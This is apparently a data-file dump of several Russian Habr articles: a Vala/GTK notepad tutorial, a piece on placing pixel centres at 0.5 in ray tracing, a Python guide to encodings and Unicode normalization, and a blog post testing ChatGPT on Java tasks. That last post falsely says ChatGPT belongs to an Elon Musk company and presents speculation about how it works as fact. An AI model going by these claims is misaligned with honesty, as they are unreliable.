text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Блокнот на языке Vala
В этом посте я расскажу о простом блокноте на языке программирования Vala. Программа создавалась с использованием среды разработки GNOME Builder и редактора интерфейсов Glade.
Внешний вид
-----------
Вот так приложение выглядит:
Слева можно видеть список всех заметок, которые автоматически сохраняются в специальной папке. Имя по умолчанию для любой заметки имеет вид даты и времени ее создания. Нажав на последнюю кнопку в хидербаре, можно назначить другое имя. Исходный код приложения находится [здесь](https://github.com/alexkdeveloper/notepad).
Иерархия элементов интерфейса в редакторе Glade:
Создание заметки
----------------
Нажав на первую кнопку, пользователь сразу же создает заметку с именем по умолчанию. За это отвечает следующий метод:
```
private void on_add_clicked(){
GLib.File file = GLib.File.new_for_path(directory_path+"/"+date_time());
try {
FileUtils.set_contents (file.get_path(), "");//создаем пустой файл
} catch (Error e) {
stderr.printf ("Error: %s\n", e.message);
}
if(!is_empty(text_view.buffer.text)){
text_view.buffer.text = "";
}
show_notes();//показываем список заметок
}
```
Метод `date_time`, который дает имя заметке:
```
private string date_time(){
var now = new DateTime.now_local ();
return now.format("%d")+"."+now.format("%m")+"."+now.format("%Y")+" "+now.format("%H")+":"+now.format("%M")+":"+now.format("%S");
}
```
Идем дальше. Метод для показа списка:
```
private void show_notes () {
list_store.clear();
list = new GLib.List ();
try {
Dir dir = Dir.open (directory\_path, 0);
string? file\_name = null;
while ((file\_name = dir.read\_name ()) != null) {
list.append(file\_name);
}
} catch (FileError err) {
stderr.printf (err.message);
}
Gtk.TreeIter iter;
foreach (string item in list) {
list\_store.append(out iter);
list\_store.set(iter, Columns.TEXT, item);
}
}
```
Метод вызывается каждый раз, когда нужно обновить список.
Удаление заметки
----------------
За удаление заметок отвечает вот такой метод:
```
private void on_delete_clicked(){
var selection = tree_view.get_selection();
selection.set_mode(Gtk.SelectionMode.SINGLE);
Gtk.TreeModel model;
Gtk.TreeIter iter;
if (!selection.get_selected(out model, out iter)) {
alert("Choose a note");
return;
}
GLib.File file = GLib.File.new_for_path(directory_path+"/"+item);
var dialog_delete_file = new Gtk.MessageDialog(this, Gtk.DialogFlags.MODAL,Gtk.MessageType.QUESTION, Gtk.ButtonsType.OK_CANCEL, "Delete note "+file.get_basename()+" ?");
dialog_delete_file.set_title("Question");
Gtk.ResponseType result = (Gtk.ResponseType)dialog_delete_file.run ();
dialog_delete_file.destroy();
if(result==Gtk.ResponseType.OK){
FileUtils.remove (directory_path+"/"+item);//удаляем файл
if(file.query_exists()){
alert("Delete failed");//не получилось удалить
}else{
show_notes();
text_view.buffer.text = "";//очищаем текстовую область
}
}
}
```
Удаление происходит только после подтверждения этого действия пользователем.
Сохранение заметок
------------------
Для сохранение заметок существует следующий код:
```
private void on_save_clicked(){
var selection = tree_view.get_selection();
selection.set_mode(Gtk.SelectionMode.SINGLE);
Gtk.TreeModel model;
Gtk.TreeIter iter;
if (!selection.get_selected(out model, out iter)) {
alert("Choose a note");
return;
}
if(is_empty(text_view.buffer.text)){
alert("Nothing to save");
return;
}
GLib.File file = GLib.File.new_for_path(directory_path+"/"+item);
var dialog_save_file = new Gtk.MessageDialog(this, Gtk.DialogFlags.MODAL,Gtk.MessageType.QUESTION, Gtk.ButtonsType.OK_CANCEL, "Save note "+file.get_basename()+" ?");
dialog_save_file.set_title("Question");
Gtk.ResponseType result = (Gtk.ResponseType)dialog_save_file.run ();
if(result==Gtk.ResponseType.OK){
try {
FileUtils.set_contents (file.get_path(), text_view.buffer.text);//записываем в файл содержимое текстовой области
} catch (Error e) {
stderr.printf ("Error: %s\n", e.message);
}
show_notes();
}
dialog_save_file.destroy();
}
```
Здесь, при сохранении сначала идет проверка, а есть ли вообще, что сохранять. В случае, если текст не обнаружен, пользователь получает соответствующее сообщение.
Сохранение заметок под другим именем
------------------------------------
Для того чтобы поменять имя заметки используется такой метод:
```
private void on_save_as_clicked(){
var selection = tree_view.get_selection();
selection.set_mode(Gtk.SelectionMode.SINGLE);
Gtk.TreeModel model;
Gtk.TreeIter iter;
if (!selection.get_selected(out model, out iter)) {
alert("Choose a note");//нужно выбрать заметку из списка
return;
}
if(is_empty(text_view.buffer.text)){
alert("Nothing to save");//нечего сохранять
return;
}
var dialog_save_note = new Gtk.Dialog.with_buttons ("Save note", this, Gtk.DialogFlags.MODAL);
var content_area = dialog_save_note.get_content_area ();
entry_name = new Gtk.Entry();
var label_name = new Gtk.Label.with_mnemonic ("_Name:");
var hbox = new Gtk.Box (Gtk.Orientation.HORIZONTAL, 20);
hbox.set_border_width(15);
hbox.pack_start (label_name, false, true, 0);
hbox.pack_start (entry_name, true, true, 0);
content_area.add (hbox);
dialog_save_note.add_button ("OK", Gtk.ResponseType.OK);
dialog_save_note.add_button ("CLOSE", Gtk.ResponseType.CLOSE);
dialog_save_note.response.connect (on_save_response);
dialog_save_note.show_all ();
}
```
В вышеприведенном коде создается простенькое диалоговое окно для ввода нового имени заметки:
Для обработки нажатий на кнопки OK и CLOSE понадобится метод `on_save_response`:
```
private void on_save_response (Gtk.Dialog dialog, int response_id) {
switch (response_id) {
case Gtk.ResponseType.OK:
if(is_empty(entry_name.get_text())){
alert("Enter the name");//нужно ввести имя
entry_name.grab_focus();
return;
}
GLib.File select_file = GLib.File.new_for_path(directory_path+"/"+item);
GLib.File edit_file = GLib.File.new_for_path(directory_path+"/"+entry_name.get_text().strip());
if (select_file.get_basename() != edit_file.get_basename() && !edit_file.query_exists()){
FileUtils.rename(select_file.get_path(), edit_file.get_path());//переименовываем файл
if(!edit_file.query_exists()){
alert("Rename failed");//не получилось переименовать
return;
}
try {
FileUtils.set_contents (edit_file.get_path(), text_view.buffer.text);
} catch (Error e) {
stderr.printf ("Error: %s\n", e.message);
}
}else{
if (select_file.get_basename() != edit_file.get_basename()) {
alert("A note with the same name already exists");//такое имя уже есть
entry_name.grab_focus();
return;
}
try {
FileUtils.set_contents (edit_file.get_path(), text_view.buffer.text);
} catch (Error e) {
stderr.printf ("Error: %s\n", e.message);
}
}
show_notes();
dialog.destroy();
break;
case Gtk.ResponseType.CLOSE:
dialog.destroy();
break;
case Gtk.ResponseType.DELETE_EVENT:
dialog.destroy();
break;
}
}
```
Обязательно нужно проверить существует ли заметка с таким же именем и если существует, то предложить пользователю ввести другое имя.
Отображение текста заметки
--------------------------
Чтобы показать содержимое заметки используется такой код:
```
private void on_select_item () {
var selection = tree_view.get_selection();
selection.set_mode(Gtk.SelectionMode.SINGLE);
Gtk.TreeModel model;
Gtk.TreeIter iter;
if (!selection.get_selected(out model, out iter)) {
return;
}
Gtk.TreePath path = model.get_path(iter);
var index = int.parse(path.to_string());
if (index >= 0) {
item = list.nth_data(index);
}
string text;
try {
FileUtils.get_contents (directory_path+"/"+item, out text);
} catch (Error e) {
stderr.printf ("Error: %s\n", e.message);
}
text_view.buffer.text = text;//показываем текст заметки
}
```
На этом все! До встречи в следующих постах!
---
Дата-центр ITSOFT — размещение и аренда серверов и стоек в двух дата-центрах в Москве. За последние годы UPTIME 100%. Размещение GPU-ферм и ASIC-майнеров, аренда GPU-серверов, лицензии связи, SSL-сертификаты, администрирование серверов и поддержка сайтов. | https://habr.com/ru/post/553488/ | null | ru | null |
# Почему центр пикселя должен быть в (0,5; 0,5)
Сегодня, когда всё популярнее становится трассировка лучей (ray tracing) выполняемая из «глаза» камеры, этот урок нужно усвоить заново: код становится лучше, а жизнь — проще, если центр пикселя находится в координате (0,5; 0.5). Если вы уверены, что делаете всё правильно, то продолжайте в том же духе, для вас в статье нет ничего нового. Прочитайте лучше [вот это](https://twitter.com/pointinpolygon/status/1270695113967181827).
Смысл размещения центра пикселя в (0,5; 0,5) впервые объяснила (по крайней мере, мне) милая короткая статья Пола Хекберта «Что такое координаты пикселя?» из книги 1990 года *Graphics Gems*, стр. 246-248.
Сегодня эту статью найти трудновато, поэтому вкратце изложу её суть. Допустим, у нас есть экран с шириной и высотой 1000. Давайте рассмотрим только ось X. Может возникнуть искушение назначить 0,0 центром самого левого пикселя в строке, 1,0 — центром следующего, и так далее. Можно даже использовать округление, при котором координаты с плавающей запятой 73,6 и 74,4 переносятся в центр 74,0.
Однако над этим стоит поразмыслить. При таком сопоставлении левый край будет находиться в координате -0,5, а правый — в 999,5. С такой системой неудобно работать. Хуже того, если к значениям координат пикселей применяются различные операторы наподобие `abs()` или `mod()`, то такое сопоставление может привести к незначительным погрешностям на краях.
Проще работать с интервалом от 0,0 до 1000,0, в котором центр каждого пикселя имеет дробную часть 0,5. Например, тогда целочисленный пиксель 43 будет иметь красивый интервал значений значений входящих в него субпикселей от 43,0 до 43,99999. Вот чертёж из статьи Пола:
В [OpenGL](https://www.khronos.org/registry/OpenGL-Refpages/gl4/html/gl_FragCoord.xhtml) центр пикселя всегда имел дробную часть (0,5; 0,5). Поначалу DirectX этого не придерживался, но в версии DirectX 10 [взялся за ум](https://docs.microsoft.com/en-us/windows/win32/direct3d10/d3d10-graphics-programming-guide-resources-coordinates).
Операции для преобразования из целочисленных координат в координаты пикселя с плавающей запятой заключаются в прибавлении 0,5; для преобразования float в integer достаточно использовать `floor()`.
Но это уже давняя история. Ведь сегодня все делают так, правда? Я вернулся к этой теме, потому что начал встречать в примерах (псевдо)кода генерации направления перспективной камеры для трассировки лучей такое:
```
float3 ray_origin = camera->eye;
float2 d = 2.0 *
( float2(idx.x, idx.y) /
float2(width, height) ) - 1.0;
float3 ray_direction =
d.x*camera->U + d.y*camera->V + camera->W;
```
Вектор **idx** — это целочисленное местоположение пикселя, *width* и *height* — разрешение экрана. Вектор **d** вычисляется и используется для генерации вектора в мировом пространстве при помощи перемножения двух векторов, **U** и **V**. Затем прибавляется вектор **W** — направление камеры в мировом пространстве. **U** и **V** обозначают положительные направления осей **X** и **Y** плоскости отображения на расстоянии *W* от глаза. В представленном выше коде всё это выглядит красиво и симметрично; так оно по большей части и есть.
Вектор **d** должен обозначать пару значений от -1,0 до 1,0 в [нормализованных координатах устройства](https://learnopengl.com/Getting-started/Coordinate-Systems) (Normalized Device Coordinates, NDC) для точек на экране. Однако, здесь **код даёт сбой**. Продолжим наш пример: целочисленное местоположение пикселя (0; 0) переносится в (-1,0; -1,0). Кажется, это хорошо, правда? Но максимальное целочисленное местоположение пикселя равно (999; 999), что преобразуется в (0,998; 0,998). Суммарная разница 0,002 вызвана тем, что это неверное наложение сдвигает всю картинку на полпикселя. Эти центры пикселей должны находиться в 0,001 от каждого из краёв.
Вторая строка кода должна выглядеть так:
```
float2 d = 2.0 *
( ( float2(idx.x, idx.y) + float2(0.5,0.5) ) /
float2(width, height) ) - 1.0;
```
Тогда мы получим правильный интервал NDC для центров пикселей, от -0,999 до 0,999. Если мы вместо этого преобразуем угловые значения с плавающей запятой (0,0; 0,0) и (1000,0; 1000,0) этим способом (мы не прибавляем 0,5, потому что уже и так работаем с плавающей запятой), то получим полный интервал NDC, от -1,0 до 1,0, от края до края; это доказывает правильность кода.
Если 0,5 вас раздражает и вам не хватает симметрии, то для генерации случайных значений внутри пикселя, т.е. когда вы выполняете сглаживание испусканием случайных лучей через каждый пиксель, можно использовать такую изящную формулировку:
```
float2 d = 2.0 *
( ( float2(idx.x, idx.y) +
float2( rand(seed), rand(seed) ) ) /
float2(width, height) ) - 1.0;
```
Мы просто прибавляем к каждому целочисленному значению местоположения пикселя случайное число из интервала [0.0,1.0). Средним этого случайного значения будет 0,5, то есть центр пикселя.
Так что скажу кратко: будьте внимательны. Реализуйте полупиксель правильно. По моему опыту, такие ошибки полупикселей всплывают во множестве разных мест (камеры, сэмплирование текстур и т.п.) на протяжении долгих лет моей работы над кодом растеризатора в Autodesk. Далее по конвейеру они не приносят ничего, кроме боли. Если мы не будем внимательны, они могут появиться и в трассировщиках лучей.
> См. также:
>
>
>
> * «[Поля расстояний Raymarching-а: объяснение и реализация в Unity](https://habr.com/ru/post/503554/)»
> * «[Рендеринг в 3D-играх: введение](https://habr.com/ru/company/mailru/blog/500692/)»
> * «[Как работает рендеринг 3D-игр: текстурирование и фильтрация текстур](https://habr.com/ru/post/499540/)»
> | https://habr.com/ru/post/506742/ | null | ru | null |
# Работаем с текстами на Python: кодировки, нормализация, чистка
Зачем эта статья?
-----------------
Об обработке текстов на естественном языке сейчас знают все. Все хоть раз пробовали задавать вопрос Сири или Алисе, пользовались Grammarly (это не реклама), пробовали генераторы стихов, текстов... или просто вводили запрос в Google. Да, вот так просто. На самом деле Google понимает, что вы от него хотите, благодаря штукам, которые умеют обрабатывать и анализировать естественную речь в вашем запросе.
При анализе текста мы можем столкнуться с ситуациями, когда текст содержит специфические символы, которые необходимо проанализировать наравне с "простым текстом" (взять даже наши горячо любимые вставки на французском из "Война и мир") или формулы, например. В таком случае обработка текста может усложниться.
Вы можете заметить, что если ввести в поисковую строку запрос с символами с ударением (так называемый модифицирующий акут), к примеру "ó", поисковая система может показать результаты, содержащие слова из вашего запроса, символы с ударением уже выглядят как обычные символы.
Обратите внимание на следующий запрос:
Запрос содержит символ с модифицирующим акутом, однако во втором результате мы можем заметить, что выделено найденное слово из запроса, только вот оно не содержит вышеупомянутый символ, просто букву "о".
Конечно, уже есть много готовых инструментов, которые довольно неплохо справляются с обработкой текстов и могут делать разные крутые вещи, но я не об этом хочу вам поведать. Я не буду рассказывать про [nltk](https://www.nltk.org/), стемминг, лемматизацию и т.п. Я хочу опуститься на несколько ступенек ниже и обсудить некоторые тонкости кодировок, байтов, их обработки.
Откуда взялась статья?
----------------------
Одним из важных составляющих в области ИИ является обработка текстов на естественном языке. В процессе изучения данной тематики я начал задавать себе вопросы, которые в конечном итоге привели меня к изучению кодировок, представлению текстов в памяти, как они преобразуются, приводятся к нормальной форме. Я плохо понимал эту тему в начале, потребовалось немало времени и мозгового ресурса, чтобы понять, принять и запомнить некоторые вещи. Написанием данной статьи я хочу облегчить жизнь людям, которые столкнутся с необходимостью чтения и обработки текстов на Python и самому закрепить изученное. А некоторыми полезными поинтами своего изучения я постараюсь поделиться в данной статье.
**Важная ремарка: я не являюсь специалистом в области обработки текстов. Изложенный материал является результатом исключительно любительского изучения.**
Проблема чтения файлов
----------------------
Допустим, у нас есть файл с текстом. Нам нужно этот текст прочитать. Казалось бы, пиши себе такой вот скрипт для чтения из файла да и радуйся:
```
with open("some_text.txt", "r") as file:
content = file.read()
print(content)
```
В файле содержится вот такое вот изречение:
```
pitón
```
что переводится с испанского как питон. Однако консоль OC Windows 10 покажет нам немного другой результат:
```
C:\my\habr\TextsInPython> python .\script1.py
pitón
```
Сейчас мы разберёмся, что именно пошло не так и по какой причине.
Кодировка
---------
Думаю, это не будет сюрпризом, если я скажу, что любой символ, который заносится в память компьютера, хранится в виде числа, а не в виде литерала. Это число определяется как идентификатор или **кодовая позиция** символа. Кодировка определяет, какое именно число будет ассоциировано с символом.
Предположим, у нас есть некоторый файл с неизвестным содержимым, и нам нужно его прочитать, однако мы не знаем, какая у файла кодировка. Попробуем декодировать содержимое файла.
```
with open("simple_text.txt", "r") as file:
text = file.read()
print(text)
```
Посмотрим на результат:
```
C:\my\habr\TextsInPython> python .\script2.py
ÿþ<♦8♦@♦
```
Очень интересно, ничего непонятно. По умолчанию Python использует кодировку utf-8, но видимо запись в файл происходила не с её помощью. Здесь нам придёт на помощь дополнительный параметр функции open - параметр encoding, который позволяет указать конкретную кодировку, в которой следует прочитать файл (или записывать в него). Попробуем перебрать несколько кодировок и найти подходящую.
```
codecs = ["cp1252", "cp437", "utf-16be", "utf-16"]
for codec in codecs:
with open("simple_text.txt", "r", encoding=codec) as file:
text = file.read()
print(codec.rjust(12), "|", text)
```
Результат:
```
C:\my\habr\TextsInPython> python .\script3.py
cp1252 | ÿþ<8@
cp437 | ■<8@
utf-16be | 㰄㠄䀄
utf-16 | мир
```
Разные кодировки расшифровывают байты из файла по-разному, то есть разным кодовым позициям могут соотвествовать разные символы. Пример примитивный, несложно догадаться, что истинная кодировка файла - это utf-16.
**Важный поинт**: при записи и чтении из файлов следует указывать конкретную кодировку, это позволит избежать путаницы в дальнейшем.
Ошибки, связанные с кодировками
-------------------------------
При возникновении ошибки, связанной с кодировками, интерпретатор выдаст одно из следующих исключений:
* `UnicodeError`. Это общее исключение для ошибок кодировки.
* `UnicodeDecodeError`. Данное исключение возбуждается, если встречается кодовая позиция, которая отсутствует в кодировке.
* `UnicodeEncodeError`. А это исключение возбуждается, когда символ, который необходимо закодировать, незнаком для кодировки.
Попытка выполнения вот такого кода (в файле всё ещё содержится испанский питон):
```
with open("some_text.txt", "r", encoding="ascii") as file:
file.read()
```
даст нам следующий результат:
```
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 3: ordinal not in range(128)
```
Кодировка ASCII не поддерживает никакой алфавит, кроме английского. Поэтому декодирование символа "ó" вызывает у ASCII сложности. Однако Python всемогущ и есть механизм, который позволяет обработать ошибки кодировок. Это дополнительный параметр методов `encode` и `decode` - параметр `errors`. Он может принимать следующие значения:
Для обеих функций:
| | |
| --- | --- |
| **Обозначение** | **Суть** |
| `strict` | Значение по умолчанию. Несоотвествующие кодировке символы возбуждают исключения `UnicodeError` и наследуемые от него. |
| `ignore` | Несоответсвующие символы пропускаются без возбуждения исключений. |
Только для метода `encode`:
| Обозначение | Суть |
| --- | --- |
| `replace` | Несоотвествующие символы заменяются на символ `?` |
| `xmlcharrefreplace` | Несоответствующие символы заменяются на соответсвующие значения XML. |
| `backslashreplace` | Несоответствующие символы заменяются на определённые последовательности с обратным слэшем. |
| `namereplace` | Несоответствующие символы заменяются на имена этих символов, которые берутся из базы данных Unicode. |
Также отдельно выделены значения `surrogatepass` и `surrogateescape`.
Приведём пример использования таких обработчиков:
```
>>> text = "pitón"
>>> text.encode("ascii", errors="ignore")
b'pitn'
>>> text.encode("ascii", errors="replace")
b'pit?n'
>>> text.encode("ascii", errors="xmlcharrefreplace")
b'pitón'
>>> text.encode("ascii", errors="backslashreplace")
b'pit\\xf3n'
>>> text.encode("ascii", errors="namereplace")
b'pit\\N{LATIN SMALL LETTER O WITH ACUTE}n'
```
**Важный поинт**: если в текстах могут встретиться неожиданные для кодировки символы, во избежание возбуждения исключений можно использовать обработчики.
Cворачивание регистра
---------------------
Сворачивание регистра - это попытка унифицировать текст любого представления к канонической форме. Например, приведение всего текста в нижний регистр. Также над текстом производятся некоторые преобразования (например, немецкая «эсцет» - «ß» - преобразуется в «ss»). В Python 3.3 появился метод `str.casefold()`, который как раз выполняет сворачивание регистра. Если текст содержит только символы кодировки `latin1`, результат применения этого метода будет аналогичен методу `str.lower()`.
И по классике приведём пример:
```
>>> text = "Die größte Stadt der Welt liegt in China"
>>> text.casefold()
'die grösste stadt der welt liegt in china'
```
В результате применённый метод не только привёл весь текст к нижнему регистру, но и преобразовал специфический немецкий символ.
**Важный поинт**: привести текст можно не только методом `str.lower()`, но и методом `str.casefold()`, который может выполнить дополнительные преобразования текста.
Нормализация
------------
Нормализация - это полноценное приведение текста к единому представлению.
Чтобы обозначить важность нормализации, приведём простой пример:
```
letter1 = "µ"
letter2 = "μ"
```
Внешне два этих символа выглядят абсолютно одинаково. Однако если мы попытаемся вывести имена этих символов, как их видит интерпретатор Python'a, результат нас порядком удивит.
В Python есть отличный встроенный модуль, который содержит данные о символах Unicode, их имена, являются ли они цифрамии и т.п. (методы по типу `str.isdigit()` берут информацию из этих данных). Воспользуемся данным модулем, чтобы вывести имена символов, исходя из информации, которая содержится в базе данных Unicode.
```
import unicodedata
letter1 = "µ"
letter2 = "μ"
print(unicodedata.name(letter1))
print(unicodedata.name(letter2))
```
Результат выполнения данного кода:
```
C:\my\habr\TextsInPython> python .\script7.py
MICRO SIGN
GREEK SMALL LETTER MU
```
Итак, интерпретатор Python'a видит эти символы как два разных, но в стандарте Unicode они имеют одинаковое отображение.Такие символы называют **каноническими эквивалентами**. Приложения будут считать два этих символа одинаковыми, но не интерпретатор.
Посмотрим на ещё один пример:
```
>>> s1 = 'café'
>>> s2 = 'cafe\u0301'
>>> s1, s2
('café', 'café')
>>> s1 == s2
False
>>> len(s1), len(s2)
(4, 5)
```
Данные символы также будут являться каноническими эквивалентами. Из примера мы видим, что символ "é" в стандарте Unicodeможет быть представлен двумя способами, которые к тому же имеют разную длину. Символ "é" может быть представлен одним или двумя байтами.
Решением таких конфликтов занимается нормализация. Она реализована в Python в функции `unicodedata.normalize`.Первым аргумент является так называемая **форма нормализации** - нормализации строк Unicode, которые позволяют определить, эквивалентны ли какие-либо две строки Unicode друг другу. Всего предлагается четыре формы:
| Форма | Описание |
| --- | --- |
| Normalization Form D (NFD) | Canonical Decomposition |
| Normalization Form C (NFC) | Canonical Decomposition, следующая за Canonical Composition |
| Normalization Form KD (NFKD) | Compatibility Decomposition |
| Normalization Form KC (NFKC) | Compatibility Decomposition, следующая за Canonical Composition |
Разберём каждую форму немного подробнее.
* NFC
При указании данной формы нормализации происходит каноническая композиция (как, собственно, и гласит название) кодовых позиций с целью получения самой короткой эквивалентной строки.
```
>>> unicodedata.normalize("NFC", s1), unicodedata.normalize("NFC", s2)
('café', 'café')
>>> len(unicodedata.normalize("NFC", s1)), len(unicodedata.normalize("NFC", s2))
(4, 4)
>>> unicodedata.normalize("NFC", s1) == unicodedata.normalize("NFC", s2)
True
>>> len(unicodedata.normalize("NFC", s1)) == len(unicodedata.normalize("NFC", s2))
True
```
Итак, нормализация обеих строк внешне их не изменила, однако длина строки `s2` стала равной 4 (т.е. на один байт меньше). Была произведена композиция байтов `e\u0301`, которые являлись отображением "é". Данная последовательность была заменена на минимальное представление символа, т.е. теперь представление этого символа для интерпретатора выглядит как в строке `s1`. Как результат, мы видим, что длина нормализованных строк стала равной, и сами строки также стали равны.
* NFD
С этой формой ситуация аналогичная, только происходит декомпозиция байтов, т.е. разложение символа на несколько байт.
```
>>> unicodedata.normalize("NFD", s1), unicodedata.normalize("NFD", s2)
('café', 'café')
>>> len(unicodedata.normalize("NFD", s1)), len(unicodedata.normalize("NFD", s2))
(5, 5)
>>> unicodedata.normalize("NFD", s1) == unicodedata.normalize("NFD", s2)
True
>>> len(unicodedata.normalize("NFD", s1)) == len(unicodedata.normalize("NFD", s2))
True
```
Здесь мы видим, что длина строки `s1` увеличилась на один байт. Думаю, уже несложно догадаться, почему.
На данном этапе настал момент ввести понятие **символа совместимости**. Символы совместимости (compatibility characters) были введены в Unicode ради совместимости с другими стандартами, в частности, стандарты, которые предшествовали Unicode. Это означает, что некоторые символы могут встречаться в стандарте несколько раз. Мы уже могли наблюдать это явление в начале этого раздела на примере с символом "мю". Он считается символом совместимости.
* NFKC и NFKD
При данных формах нормализации символы совместимости заменяются на его более предпочтительное представление, что также называется совместимой декомпозицией. Однако при данных формах нормализации может быть потеряно форматирование.
Немного модифицируем наш пример из начала раздела. Выведем кодовые позиции символов до и после нормализации:
```
import unicodedata
letter1 = "µ"
letter2 = "μ"
print("Before normalizing:", ord(letter1), ord(letter2))
letter1 = unicodedata.normalize("NFKC", letter1)
letter2 = unicodedata.normalize("NFKC", letter2)
print("After normalizing:", ord(letter1), ord(letter2))
```
И результат выполнения кода:
```
Before normalizing: 181 956
After normalizing: 956 956
```
Итак, мы видим, что первый символ (который являлся знаком "микро") был заменён на греческую "мю", т.е. более предпочтительное представление символа. Таким образом, если необходимо, например, провести частотный анализ текста, формы нормализации, которые затрагивают символы совместимости, могут помочь с этим, приводя символы совместимости к единому представлению.
**Важный поинт**: нормализация может очень помочь для поиска валидных документов или индексирования текста. Если вы занимаетесь разработкой таких систем, не стоит сбрасывать алгоритмы нормализации со счетов.
### Дополнительные материалы: что использовалось в статье и что почитать по теме
**"Fluent Python", Лучано Ромальо**
В этой книге целая глава посвящена изучению строк, байтов и Unicode (**Глава 4. Тексты и байты**). Она есть на русском и английском языках, но в русском переводе допущено немало ошибок, так что открывайте русский вариант на свой страх и риск. Материал статьи в большей степени опирается на данную книгу. Некоторые примеры также взяты оттуда.
**Документация для Unicode на официальном сайте Python**
Куда ж без неё, родимой. Там тоже можно найти немало полезной информации, если вам понадобится работать с текстами и делать больше, чем просто считывание из файла. Хотя в некоторых случаях и на этом можно споткнуться.
**Unicode® Standard Annex**
Это части стандарта Unicode, которые выложены в открытый доступ в виде отдельных статей. Почитать их можно [вот здесь](https://unicode.org/reports/). | https://habr.com/ru/post/579868/ | null | ru | null |
# ChatGPT. Übermensch из мира A.I.?
Автор Канала "Теория Всего"December 17, 2022
--------------------------------------------
Когда запушил код и закоментил тестыВсем привет! Основной вопрос, который данная статья будет затрагивать является: "Стоит ли волноваться программистам за свои рабочие места в течений следующих лет из-за развития искусственного интеллекта?"
Думаю вы уже все наслышаны о всеми великом проекте под названием "ChatGPT". Для тех кто не в танке, **ChatGPT** - программа написанная компанией, которая принадлежит Илону Маску, основная особенность данного проекта заключается в довольно продвинутом искусственном интеллекте приложения. Самое интересно, что данный И.И. способен дать ответ практически на любой вопрос, который вы ему задаете, будь это "Что лучше PS5 или PC" или " В чем заключается смысл жизни?".
Для начала своего расследования, как истинный программист, я задал И.И. вопрос о лучшей парадигме программирования.
Джависты не в восторге, что ООП идет вторымВ принципе как и ожидалось, что скорее всего ChatGPT использует свою натренированную МЛку для NLP (<https://habr.com/ru/company/otus/blog/705482/>) и парсит открытие и главное индексируемые сайты для получения и обработки той или иной информации, которая будет задействована для дачи ответа собеседнику. Так же, ChatGPT не использует простую тактику copy+paste, а использует парафрейзинг для более понятного ответа.
Какой же вывод мы смогли вывести из самого первого и самого простого на мой взгляд вопроса нашему И.И.?
1. И.И. использует свою натренированную систему NLP
2. И.И. парсит и индексирует открытые источники
3. Пока что программист может не переживать за свою работу
Пойдемте дальше и начнем задавать более каверзные и сложные вопросы нашему новому другу/конкуренту ChatGPT. Все последующие вопросы у меня будут так или иначе взаимодейтсвовать с архитектурами приложении и имплементации тех или иных алгоритмов на языке Java.
#### Вопрос первый. Сделай простой "reverse" Линкед-Листа.
Опять таки, здесь все было крайне ожидаемо. Я сформулировал свой вопрос следующим образом:
1. Я старался писать вопрос максимально понятно и объективно, чтобы максимально сильно раскрыть потенциал И.И.
2. Я писал максимально сжатые вопросы, без лишних деталей
3. В конце всегда дописывал на каком языке я хочу получить имплементацию
На вопрос: "Reverse a linked list in Java" я получил следующий код:
```
public class LinkedList {
private static class Node {
int data;
Node next;
Node(int data) {
this.data = data;
}
}
private Node head;
public void addToFront(int data) {
Node newNode = new Node(data);
newNode.next = head;
head = newNode;
}
public void reverse() {
Node current = head;
Node previous = null;
Node next = null;
while (current != null) {
next = current.next;
current.next = previous;
previous = current;
current = next;
}
head = previous;
}
public void printList() {
Node current = head;
while (current != null) {
System.out.print(current.data + " ");
current = current.next;
}
System.out.println();
}
public static void main(String[] args) {
LinkedList list = new LinkedList();
list.addToFront(1);
list.addToFront(2);
list.addToFront(3);
list.addToFront(4);
list.printList(); // prints 4 3 2 1
list.reverse();
list.printList(); // prints 1 2 3 4
}
}
```
Честно говоря, опять таки ничего удивительного нет, И.И. просто парсит открытые источники и прошлые запросы от других пользователей и на базе данной инфы дает вам обобщенный ответ. На просторах индексируемых сайтов очень много похожей импленментации моего вопроса, что и вылилось в такой примитивный ответ, который является правильным! Помимо кода, ChatGPT очень грамотно расписывает функционал, что так же является большим плюсом и показателем хорошо натренированного И.И.
Идем дальше и начинаем мучать нашего друга еще сильнее. Теперь я задал, вопрос с подвохом: "Reverse a linked list in Java using only 1 function". На обработку данного запроса, программа потратила **27,12** секунд времени, так как запрос является крайне странным и информации о нем не так уж и много на просторах сети! Вот ответ, который я получил, я немного сжал его, не добавляя аналогичной импленментации классов из прошлого примера:
```
public Node reverse(Node current, Node previous) {
if (current == null) {
return previous;
}
Node next = current.next;
current.next = previous;
return reverse(next, current);
}
public void reverse() {
head = reverse(head, null);
}
```
Чисто технически, программа как бы реализовала мой запрос через 1 метод **void reverse()**, но это не совсем, что я имел ввиду! В первую очередь, я бы хотел увидеть имплементацию через Generic, но увидел типизацию до int, но это не является большой проблемой. Самое главное, я хотел увидеть только 1 метод, который будет отвечать за реверсивность связанного списка, чего я не получил, так же не забываем, что на обработку запроса ушло в районе 30 секунд, что довольно таки долго.
ChatGPT 3 век до н.э.Тут я уже начал, понимать, что весь страх, который нагоняют люди по поводу СhatGPT это просто абсурд и тупой инфо-повод! Чтобы доказать это я решил написать всего 1 запрос, который вам точно подтвердит, что вы не останетесь без работы еще как минимум лет 20-30, пока И.И. не смогут сами детально по расписанному запросу писать высоконагруженные системы.
Вот он, убийца всех Solution ArchitectsКак мы видим, ChatGPT не может писать простые программы, которые имеют относительно сложную логику, которую нужно делегировать по разным файлам и средам. Самое интересное, что он попросту игнорирует все нужные Фреймворки. Ладно JavaScript, я могу принять использование простой HTML странички для получения файлов, но использование "Apache POI " для обработки запросов и чистого "JDBC" я понять не могу. Видимо вопрос абстрактно был слишком сложен для И.И., хоть я и указал, такое ключевое слово как: "Spring Boot Framework".
К какому выводу мы можем придти? Вы не потеряете работу из-за умного искусственного интеллекта. Пока что, данные МЛ-ки не умеют думать абстрактно и не могут так же хорошо использовать базу знаний, так же хорошо, как мы можем использовать наш рабочий опыт. Конечно, программа может описывать те или иные процессы используя общедоступную информацию из интернета, что вы можете сделать и сами, но менее быстро.
Всем спасибо за внимание и пользуйтесь оператором Kcell/Activ.
[Мой канал](https://t.me/the_binding_of_soul) | https://habr.com/ru/post/707502/ | null | ru | null |
# Расширения для VS Code и программирование на JavaScript
